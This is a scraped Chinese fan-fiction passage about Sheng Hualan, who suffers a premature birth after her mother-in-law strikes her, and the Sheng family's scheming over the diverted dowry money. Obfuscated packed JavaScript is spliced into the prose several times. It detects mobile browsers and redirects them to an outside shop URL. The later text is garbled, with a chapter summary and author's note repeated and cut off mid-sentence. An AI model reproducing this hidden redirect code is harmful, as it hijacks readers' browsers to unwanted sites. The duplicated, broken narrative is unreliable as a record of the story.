袁伯爷听着大章氏这般胡搅蛮缠,气不打一处来的用手指着她,大骂道:“你个蠢妇啊!人家陈嬷嬷是宫里的老人,又是盛国公亲自为韶德郡主求来的教养嬷嬷,她不站在盛家人那边,难不成还要站在你这边,帮你隐瞒盛家人,做你的春秋大梦去吧,你别以为我没看出来你当时想将陈嬷嬷扣下的心思,人家是宫里出来的女官,自称一句奴婢,你就真将人家看成家中管家嬷嬷随意处置嘛,真是给你脸了。” 袁文绍眼中闪过一丝埋怨,盛华兰第一次难产还能说是管家累着了身子,第二次早产可是满屋的丫鬟们亲眼瞧见大章氏推得盛华兰,自个怕是也在盛家那边捞不得什么好名声,他叹了口气道:“母亲,华儿做的还不够嘛,她管家理事这些年,哪次家中缺了银钱不是她自个掏的嫁妆银子贴补,家中逢年过节、亲戚来往也是厚礼相赠,上至亲戚,下至家中女使小厮那个不说她的好,您这开口闭口一万两,她是真拿不出来这么多银钱,您居然还想让她变卖自个嫁妆中田产铺子、分配红利,若华儿真按你说的来做,岳父岳母,乃至盛家所有人都怎么看我这个女婿,我以后还如何登盛家的门啊!” 袁文纯附和道:“对啊!母亲,你让二弟弟如何做人啊!不过,母亲,我们府中的铺子为什么会需要一万两银钱周转啊!”这才是他的关注点,要不然,他也不会顺着袁文绍的话来说,毕竟他这辈子是真没一次性见过这么多银子。 大章氏哪好意思说啊!自己这个大儿子还没有着落呢,自己这个亲娘却帮这侄子,没得到时候惹大儿子生怨,好在袁伯爷此事正在焦虑着盛家人找上门的事情,没回过神来思考一万两银钱之事,她才逃过一劫,不过,她躲得了初一,躲不了十五,袁伯爷是一时想不起来,可别人就不一定了 袁伯爷瞧着大章氏一副默不作声的样子,更是气得不想再跟她说下去,心中不由得的暗道:“现下不说,待到盛家人找上门来,我看她如何交代。”他忍不住摆了摆手,让所有人都出去,自个清净一下,好想想到时候如何应对盛家人,待到所有人都出了门,门外的袁文纯就是再有好奇心也只能按下来,毕竟大章氏不想说,他也没法子逼她说,至于袁文绍未曾多言什么,心中正焦急着回去看妻儿,而大章氏出了门就快速离开,深怕被袁文纯追问什么。 盛华兰的院中,袁文绍一进屋就见到了早已被送回来的盛华兰和哥儿,此时盛华兰脸上顶着未消下去的巴掌印,满眼疼惜的看着怀中的哥儿,她听到动静,抬头望去,瞧见袁文绍,脸上愣是扯出一抹淡淡的笑容,道:“官人怎么这么早回府呢,对了,这是我们盼了许久的哥儿。” 袁文绍瞧着话里话外都没有提及早产之事的盛华兰,心里泛起一阵怜惜,他大步上前,搂过盛华兰和她怀中的孩子,轻声道:“我知道你今个早产的事情,这次是母亲的错,你跟着我到底是受苦了。” 盛华兰眼眶微红,没一会儿,泪水缓缓落下,语气中满是悲伤的意味,道:“官人,我从未后悔嫁给你,可这次真的苦了哥儿,也是我这个当母亲的没能耐护好他,我真的不明白我到底还要怎么做母亲才能满意,我在嫁给官人的时候就下定了决心,要好好孝顺官人的父亲母亲、疼爱官人的妹妹,尊敬官人的兄嫂,我扪心自问这些年做得也不错,还记得刚嫁进来那年,母亲不过是夸了我嫁妆中的那对青玉缠枝莲纹瓶不错,我二话不说就亲自给母亲送去,只盼母亲能开心,外祖母(章家老太太)喜欢文房四宝、棋盘之类的东西,我便在外祖母生辰之时将嫁妆中的一套琉璃棋盘当生辰礼送去,母亲说她只有缨姐儿一个女儿,不想让她的生辰宴太过简单,我拿三妹妹当自家妹妹一般疼爱,自是尽心尽力去操办,我这些年有什么好东西都紧着三妹妹,为的不过是三妹妹在家中能过的舒心些,后来我难产体弱,身子骨是真当不起管家理事之事,可母亲哪次开口,我不是顺着她的呢。” 盛华兰梨花带雨的躺在袁文绍怀中,紧紧抓着袁文绍的衣袖,语气微微上扬道:“莫不是将我的嫁妆全给了母亲,母亲才会满意,若只是我一人给了也无妨,可我还有哥儿姑娘,我得为她们想想。” 袁文绍没有说话,只是静静的抱着盛华兰,他的目光始终停留在盛华兰怀里瘦小的儿子身上,不由得想起袁文纯的嫡长子,若是他没有记错的话,当初侄子出生时可比自个的嫡子胖了一圈,他平生第一次觉得他对母亲太过顺着,而盛华兰就这般抱着儿子静静的躺在袁文绍怀中,无声的哭泣。 陈嬷嬷那边一回到丰国公府,整个丰国公府都陷入了沉默,待到盛瑾和盛纮回来,一进门就被请到了盛老太太的院中,王若弗瞧着进来的盛纮,忍不住上前拧了他一下,哭骂道:“我当初就说袁家不成,不成,你偏给我将袁家说的花团锦绣般好,华儿嫁入袁家怀了两次身孕,一次因着管家累到身子导致难产,一次被自个婆婆一巴掌扇倒在地早产,我怀胎十月生下华儿,那是我身上掉下来的一块肉,平日里都舍不得骂她,更何况是对她动手呢。” 盛老太太早就知道王若弗会对盛纮动手,故而没让家中小辈在场,算是给盛纮留些颜面,她瞧着盛纮被王若弗拧那一下,疼得龇牙咧嘴,可见王若弗下手不轻,正当盛纮被王若弗这一下整的一头雾水时,盛老太太便让一旁的陈嬷嬷将事情的来龙去脉全部告知了盛瑾和盛纮。 王若弗在听完陈嬷嬷第二遍述说后,再次哭喊起来道:“我苦命的华儿啊!这些年将大半嫁妆填给了他们袁家,居然都换不来她婆婆的善待,她章大娘子还要我们家华儿怎么做,才肯放过华儿,莫不是真要次次依着她,今个她敢向华儿要一万两,明个未尝不敢朝华儿要十万两,我家华儿的嫁妆那经得起她那种要法,这到底是婆婆,还是吞金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盛瑾正想着盛华兰的事情,突然听到盛老太太叫他,随即抬起头,附和道:“正如母亲所说,华儿这件事情不能轻拿轻放,我正在想章大娘子为什么要向华儿拿一万两呢?按理来说,章大娘子因着我们在庄姐儿百日宴时的敲打收敛了许多,就算向华儿开口也不会要一万两这么大一笔银钱,不是我说,自于她口中所说的府中铺子缺少银钱周转,什么铺子需要一万两银钱周转,现下最挣钱的铺子,每年也不过收入两三千两,不是我看不起袁家,当初他家平反拿回来的田产铺子只有一部分,这些个铺子大多数是卖不出去才留下来,章大娘子又没有什么经商之才,自个经营这些个铺子,每间铺子能有个一千多两都算她有能耐,像这样的铺子哪会缺一万两银钱周转。” 王若弗忍不住点头,道:“二哥哥说得对,华儿也曾与我提起这袁家的账目奇奇怪怪,各类开支含糊不清,例如:府中在华儿没加进来前购置了一屋子的家具和满院的花草还未结算,可翠蝉私下向袁家女使小厮打听时,她们却说从未见过这些个东西,华儿光是填这笔账就花了将近五千两,故而她印象极深,还有许多零零碎碎的账目,华儿对这些个东西也没全见过,按理来说,平日里难免摔个瓷器茶盏之类易碎的东西也正常,可袁府中这类开支也太大些,总不能日日都摔碎好几套瓷器茶盏,后来华儿才知道这些个银钱全贴补大房去了。”她咬牙切齿的说出了最后一句。 盛瑾脸上流露出一丝狐疑,道:“可我前些天听同僚说袁家大郎瞧上一匹好马,让马的主人在原地等他回府取银钱,结果人家等了半天,最终等来的却是袁家大郎的贴身小厮,那小厮以这匹马没有自家的马好为由拒绝买马,马的主人被气的不行,好在小厮给了马的主人一两银钱才安抚下他,这袁家大郎瞧上去可不像是有大笔银钱的样子。” 王若弗闻言,满脸不可置信,道:“这怎么可能,章大娘子至少从华儿这弄走了两三万两银钱,那袁家大郎怎么可能没有银钱买马,没得是这几年给挥霍完了吧。” 陈嬷嬷突然出言,道:“绝无可能,我照料华兰姑娘这些日子曾听翠蝉嘟喃过一句,章大娘子这些过日子是为着银钱才折腾华兰姑娘,况且章大娘子在我来袁家之前已经从华兰姑娘这零零散散弄走了五千多两,若是真给了袁家大房,那袁家大郎不可能缺银钱买马。” 盛纮微微皱眉,语气笃定道:“陈嬷嬷说的是,我也从未听人说起过袁家大郎有什么挥霍之举,况且袁家大郎不通文武,又因着袁家门庭冷落过,不敢有什么太过分的行为,惹人注意,若是章大娘子真的将华儿这得来的银钱贴补了袁家大房,她们这些年的吃穿用度可花不完两三万两,更何况在华儿不管家的这段日子里也有贴补过府中。” 王若弗瞪大双目,满脸惊讶,语气微微上扬,道:“章大娘子拿着银钱不贴补袁家大房,贴补谁去,难不成她还能拿着大笔银钱去贴补章家嘛。” 盛纮定睛看了王若弗一眼,不知想起什么,缓缓开口道:“我近日听同僚间传扬州城附近的枫桥县缺了个县令,若身负举人功名,花笔银钱未必不能得到这个差事,章家大郎如今好像还是个举人吧。” 王若弗就是再傻也反应过来盛纮话中暗含的深意,她的脸色满是不可置信的表情,结结巴巴道:“章大娘子不会,不会把媳妇的嫁妆拿去贴补自个娘家,这事情若是真又传了出去,那章家和袁家的脸不就丢尽了嘛,她应该不会干这样的傻事吧。” 盛老太太沉思了一会儿,眼睛闪过一丝清明,道:“华儿的嫁妆明面上都是贴补的袁家,章大娘子就算拿银钱贴补娘家,也是拿着袁家的银钱贴补娘家,与华儿无关,毕竟华儿的嫁妆都握在她自个的手中,章大娘子就算掏空了袁家的银钱,华儿这些年也填补进去,怕是袁伯爷都没察觉到什么异常。” 盛瑾附和道:“我们在庄姐儿百日宴时不难看出章大娘子对自个娘家的看中,章家子嗣大都平庸,如今章家也就章大人一个从四品的官,章家大郎身居举人功名已久,若是再不谋个差事,待到章大人退下后,章家在朝堂上就后继无人,他们怎么可能不急,章家若是不好,那章大娘子底气又能从哪来呢。” 盛瑾好似在述说平常事情般道:“袁家如今最有出息的是袁家二郎,袁家大郎虽无差事,但到底有个爵位继承,犯不着如此焦急要这么多银钱,况且我瞧袁伯爷那般也不像要给袁家大郎谋差事的样子,故而章大娘子需要银钱是为了章家。” 盛瑾眼中闪过一丝嬉戏,道:“母亲说这袁伯爷到底知不知道章大娘子做的这些个事情,又或者知不知道华儿先前填了多少银子在袁府公账上,我可听说袁伯爷一直过着闲云野鹤的日子。” 盛老太太脸上浮现出一抹笑容,道:“袁伯爷再怎么闲云野鹤,华儿贴补府中银钱这种事情应该也是略知一二,可华儿贴补了府中多少银钱,他怕是不了解,毕竟府中管家的是章大娘子。” 盛瑾附和道:“既然袁伯爷都不知道华儿给府中贴补了多少银钱,那袁伯爷的大姐姐寿山伯夫人自然也不甚了解袁家账目的情况,袁伯爷和章大娘子之间的情谊如何,寿山伯夫人自是了解,若是感情好,袁伯爷还能放着章大娘子不管,自个过闲云野鹤般的日子嘛,袁伯爷过成这样,寿山伯夫人尚且还能忍,若是袁家的银钱都成了章家的银钱,她还能放任章大娘子这个弟妹不管嘛,她会不会觉得章大娘子是闲得慌才这么大胆,媳妇对付不了婆婆,大姑姐可不一定对付不了弟妹,况且我瞧着袁伯爷挺尊重寿山伯夫人这个大姐姐。” 盛瑾满脸不怀好意的表情,语气好似在乐于助人般,道:“若是有人能提醒寿山伯夫人这件事情,她会不会为了袁家、为了丰富自己弟弟的情感世界给章大娘子找点事做呢。” 盛老太太脸上的笑容又灿烂了几分,她用手指了指盛瑾,语气没有半分指责的意味,道:“你这猢狲,净出些馊主意,不过,这馊主意对于华儿而言倒是有几分用处,若是自个官人身边有了个宠爱的女子,谁还有心思找媳妇的麻烦。” 盛纮自是猜出盛瑾和盛老太太话中的含义,而王若弗却满头雾水,道:“母亲,你与二哥哥打什么哑迷呢?我怎么什么也听不懂呢。” 盛纮瞧着王若弗这般,本来还有些嫌弃,可又想到袁家的大章氏,自觉王若弗比她好许多,至少不会搬空盛家贴补王家,因此也没说什么,而盛老太太和盛瑾相视一笑后,道:“你不需要知道,只要同我们一起去袁家就行。” 盛老太太的目光转到盛瑾和盛纮身上,道:“明日瑾儿和纮儿告假半天,你们同我们一起去袁家,袁伯爷那边就交由瑾儿和纮儿,我去看看华儿,顺便提点她几句。” 王若弗有些疑惑道:“母亲,我们不去查查章大娘子是不是真的将袁家的银钱拿去贴补了章家嘛,这样直接去袁家不好吧。” 盛老太太面不改色,语气淡然,道:“袁家的事情当然交由袁家人自个处理,我们没事插手袁家的事情,若是袁家不领情,即便是姻亲,也会被外人议论,不过,瑾儿和纮儿会提点一下袁伯爷,几万两银钱对于袁家而言可不是小数目啊!” 盛老太太看着在场的王若弗、盛瑾、盛纮、房嬷嬷、陈嬷嬷,道:“今天之事止于府内,不得外传出去,华儿到底还是要在袁家生活,再者,章大娘子的名声不好,难保不会影响到华儿的哥儿姑娘。” 众人齐声到了声“是”后便退了出去,待到盛明兰、盛墨兰、盛如兰知道此事时,反应各不相同,盛如兰在王若弗院子里气愤的想要杀人,直嚷嚷的要去袁家讨公道,而盛明兰则是暗自庆幸自个派了陈嬷嬷去袁家,至于盛墨兰,她自知盛老太太和盛瑾一定会去袁家要个说法,毕竟盛家姑娘们一荣俱荣一损俱损,如今盛华兰被这样对待,盛家若不做点什么,往后的亲家是不是人人都能刻薄盛家姑娘,可这也是她第一次直观感受到一个恶婆婆的存在是多么可怕的事情,盛家众人此夜不能寐啊! 94.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650898|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 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事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 98.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13777852|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 99.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 () { $(''.inform'').remove(); $(''#content'').append('' 事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 102.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 () { $(''.inform'').remove(); $(''#content'').append('' 事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 102.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 () { $(''.inform'').remove(); $(''#content'').append('' 事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 102.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 () { $(''.inform'').remove(); $(''#content'').append('' 事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。)